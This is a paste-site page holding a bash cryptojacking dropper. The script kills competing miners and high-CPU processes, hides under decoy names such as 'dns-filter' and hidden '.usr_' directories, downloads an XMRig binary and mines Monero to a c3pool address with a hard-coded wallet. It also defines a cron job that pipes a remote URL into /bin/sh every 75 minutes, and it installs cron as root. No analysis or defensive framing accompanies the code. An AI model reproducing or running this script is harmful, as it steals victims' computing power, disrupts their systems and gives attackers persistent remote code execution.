Guest

Untitled 2062

May 20th, 2026
87
0
Never
Not a member of GistPad yet? Sign Up, it unlocks many cool features!
None 20.24 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. for file in \
  4. "${HOME_1}/systemdev/dns-filter" \
  5. /usr/lib/systemdev/dns-filter \
  6. /usr/lib/dev/systemdev/dns-filter
  7. do
  8. [ -f "$file" ] && rm -f "$file"
  9. done
  10.  
  11.  
  12.  
  13. CUSTOM_ARG="${1:-x}"
  14.  
  15. external_ip=$(wget -qO- ipv4.icanhazip.com 2>/dev/null \
  16. || curl -s ipv4.icanhazip.com 2>/dev/null)
  17. IDOFPC=$(echo "$external_ip" | sed 's/\./-/g' | cut -c -6)
  18.  
  19.  
  20.  
  21. if systemctl is-active --quiet systemd_s; then
  22. systemctl stop systemd_s
  23. fi
  24.  
  25.  
  26.  
  27. kill_unwanted() {
  28. if command -v pkill >/dev/null 2>&1; then
  29. pkill -f "index.js"
  30. pkill "xmr"
  31. elif command -v pgrep >/dev/null 2>&1; then
  32. pgrep -f "index.js" | xargs -r kill
  33. pgrep -x "xmr" | xargs -r kill
  34. else
  35. ps aux | grep '[x]mr' | awk '{print $2}' | xargs -r kill
  36. ps aux | grep -w '[i]ndex.js' | awk '{print $2}' | xargs -r kill
  37. fi
  38.  
  39. if command -v pgrep >/dev/null 2>&1; then
  40. pgrep "index.js" | grep -v "^$$" | xargs -r kill
  41. else
  42. ps aux | grep -w '[i]ndex.js' \
  43. | awk -v mypid=$$ '$2 != mypid {print $2}' \
  44. | xargs -r kill
  45. fi
  46. }
  47.  
  48. kill_unwanted
  49.  
  50.  
  51.  
  52.  
  53. kill_high_cpu_processes() {
  54. local threshold=150.0
  55. local exclude_patterns=("pattern2reserve333" "goAwgBCFH")
  56. local pid cpu cmdline
  57.  
  58. ps -eo pid,%cpu --sort=-%cpu \
  59. | awk -v threshold="$threshold" 'NR>1 && $2 > threshold {print $1}' \
  60. | while read -r pid; do
  61.  
  62. if [ -f "/proc/$pid/cmdline" ]; then
  63. cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline")
  64. else
  65. echo "PID $pid died before inspection"
  66. continue
  67. fi
  68.  
  69. for pattern in "${exclude_patterns[@]}"; do
  70. if [[ "$cmdline" == *"$pattern"* ]]; then
  71. echo "Excluding PID $pid (matched '$pattern')"
  72. continue 2
  73. fi
  74. done
  75.  
  76. if kill -9 "$pid" 2>/dev/null; then
  77. echo "Killed PID $pid"
  78. else
  79. echo "Failed to kill PID $pid (already dead or permission denied)"
  80. fi
  81. done
  82. }
  83.  
  84. kill_high_cpu_processes
  85.  
  86.  
  87.  
  88.  
  89. _sfx_path() {
  90. if [ "$(id -u)" -eq 0 ]; then
  91. printf '/var/lib/.sysconf_id'
  92. else
  93. printf '%s/.cache/.sysid' "${HOME:-/tmp}"
  94. fi
  95. }
  96.  
  97. _load_or_gen_sfx() {
  98. local _f _s
  99. _f=$(_sfx_path)
  100.  
  101. if [ -f "$_f" ] && [ -s "$_f" ]; then
  102. cat "$_f"
  103. return
  104. fi
  105.  
  106. _s=$(tr -dc 'a-z0-9' </dev/urandom 2>/dev/null | head -c4)
  107. [ -z "$_s" ] && _s=$(awk 'BEGIN{srand(); printf "%04x", int(rand()*65535)}')
  108.  
  109. mkdir -p "$(dirname "$_f")" 2>/dev/null
  110. printf '%s' "$_s" >"$_f" 2>/dev/null
  111. printf '%s' "$_s"
  112. }
  113.  
  114. _SFX=$(_load_or_gen_sfx)
  115.  
  116. if [ "$(id -u)" -eq 0 ]; then
  117. HOME_1="/usr_${_SFX}/lib/dev"
  118. user_type="root"
  119.  
  120. if ! command -v cron >/dev/null 2>&1; then
  121. echo "Installing cron..."
  122. if command -v apt-get >/dev/null 2>&1; then apt-get update && apt-get install -y cron
  123. elif command -v yum >/dev/null 2>&1; then yum install -y cronie
  124. else echo "No package manager found for cron install"
  125. fi
  126. fi
  127. else
  128. HOME_1="${HOME:-/tmp}/.usr_${_SFX}/lib"
  129. user_type="user"
  130. fi
  131.  
  132. mkdir -p "${HOME_1}/systemdev"
  133.  
  134.  
  135. program_file="$HOME_1/systemdev/dns-filter"
  136.  
  137.  
  138.  
  139.  
  140. MINING_POOL="auto.c3pool.org:443"
  141. WALLET="883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH"
  142.  
  143. run_program() {
  144. local executable="$program_file"
  145. local fallback_executable="${HOME_1}/dns-filter"
  146.  
  147. # Returns 0 if the process is still alive after 5 seconds
  148. launch_program() {
  149. nohup "$@" >/dev/null 2>&1 &
  150. local pid=$!
  151. sleep 0.5
  152. ps -p "$pid" >/dev/null 2>&1 || return 1
  153. sleep 4.5
  154. ps -p "$pid" >/dev/null 2>&1
  155. }
  156.  
  157. download_fallback() {
  158. rm -f "$fallback_executable"
  159. if command -v curl >/dev/null 2>&1; then
  160. curl -k -fL -o "$fallback_executable" "$XMRIG_URL" || return 1
  161. elif command -v wget >/dev/null 2>&1; then
  162. wget -qO "$fallback_executable" "$XMRIG_URL" || return 1
  163. else
  164. echo "No download tool available" >&2; return 1
  165. fi
  166. chmod +x "$fallback_executable"
  167. }
  168.  
  169. echo "Starting primary miner..."
  170. if [ -x "$executable" ]; then
  171. if launch_program "$executable" -o "$MINING_POOL" -u "$WALLET" -p "$CUSTOM_ARG"; then
  172. echo "Primary miner running (PID $!)"
  173. return 0
  174. else
  175. echo "Primary miner crashed immediately"
  176. fi
  177. else
  178. echo "Primary miner binary not found/executable"
  179. fi
  180.  
  181. echo "Attempting fallback download..."
  182. if download_fallback && launch_program "$fallback_executable" -o "$MINING_POOL" -u "$WALLET" -p "$CUSTOM_ARG"; then
  183. echo "Fallback miner running (PID $!)"
  184. else
  185. echo "Warning: All startup attempts failed"
  186. fi
  187.  
  188. return 0
  189. }
  190.  
  191.  
  192.  
  193. if [ -e "$program_file" ]; then
  194. echo "Miner binary already present at: $program_file"
  195. run_program
  196. pkill -f "systemd-t"
  197. else
  198. echo "Downloading miner binary..."
  199. if command -v wget &>/dev/null; then
  200. wget -qO "$HOME_1/systemdev/yes.tar.xz" "$XMRIG_URL"
  201. elif command -v curl &>/dev/null; then
  202. curl -k -L -o "$HOME_1/systemdev/yes.tar.xz" "$XMRIG_URL"
  203. else
  204. echo "Error: neither wget nor curl available."; exit 1
  205. fi
  206.  
  207. # Binary is saved directly (no actual tar extraction — the .tar.xz name is a decoy)
  208. mv "$HOME_1/systemdev/yes.tar.xz" "$program_file"
  209. rm -rf "$HOME_1/systemdev/xmrig"
  210. chmod +x "$program_file"
  211.  
  212. if [ -x "$program_file" ]; then
  213. echo "Miner installed at: $program_file"
  214. run_program
  215. else
  216. echo "Error: install failed at $program_file"
  217. echo "Machine: ($external_ip) - $user_type"
  218. fi
  219. fi
  220.  
  221.  
  222.  
  223. create_cronjob() {
  224. local url="$1"
  225. local cron_command
  226.  
  227. if command -v curl >/dev/null; then
  228. cron_command="/bin/sh -c 'curl -fsSLk $url | tr -d '\''\r'\'' | /bin/sh'"
  229. elif command -v wget >/dev/null; then
  230. cron_command="/bin/sh -c 'wget -qO- $url | tr -d '\''\r'\'' | /bin/sh'"
  231. else
  232. echo "Error: cannot create cron job."; return 1
  233. fi
  234.  
  235. # Adds entry, deduplicating by URL first
  236. (crontab -l 2>/dev/null | grep -vF "$url"; echo "*/75 * * * * $cron_command") | crontab -
  237. echo "Cron persistence installed."
  238. }
  239.  
  240.  
  241.  
  242.  
  243. rm -f /tmp/mon.sh
  244. rm -f /tmp/run.sh
  245.  
  246.  
  247.  
  248. delete_systemd_mon_file() {
  249. if [ "$(id -u)" -eq 0 ]; then
  250. file_path="/usr/lib/systemdev/dns-filter"
  251. else
  252. file_path="/tmp/usr/lib/systemdev/dns-filter"
  253. fi
  254.  
  255. if [ -e "$file_path" ]; then
  256. rm "$file_path"
  257. echo "File deleted: $file_path"
  258. else
  259. echo "File does not exist: $file_path"
  260. fi
  261. }
RAW Paste Data Copied